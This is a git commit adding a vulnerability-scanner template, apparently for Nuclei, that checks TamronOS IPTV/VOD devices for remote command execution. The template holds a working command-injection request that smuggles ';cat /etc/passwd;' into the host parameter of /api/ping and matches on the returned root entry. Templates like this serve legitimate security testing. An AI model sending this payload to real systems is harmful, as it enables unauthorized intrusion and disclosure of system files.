Merge pull request #1712 from pikpikcu/patch-183

Create tamronos-rce
2021-06-17 13:26:19 +05:30 · 2021-06-17 13:26:19 +05:30 · 6f18d3e0ec
parent 7b0371a2ce 9f8cae8ab5
commit 6f18d3e0ec
1 changed files with 24 additions and 0 deletions
--- a/vulnerabilities/other/tamronos-rce.yaml
+++ b/vulnerabilities/other/tamronos-rce.yaml
@ -0,0 +1,24 @@
+id: tamronos-rce
+
+info:
+  name: TamronOS IPTV/VOD RCE
+  author: pikpikcu
+  severity: critical
+  reference: https://twitter.com/sec715/status/1405336456923471874
+  tags: tamronos,rce
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/ping?count=5&host=;cat%20/etc/passwd;&port=80&source=1.1.1.1&type=icmp"
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200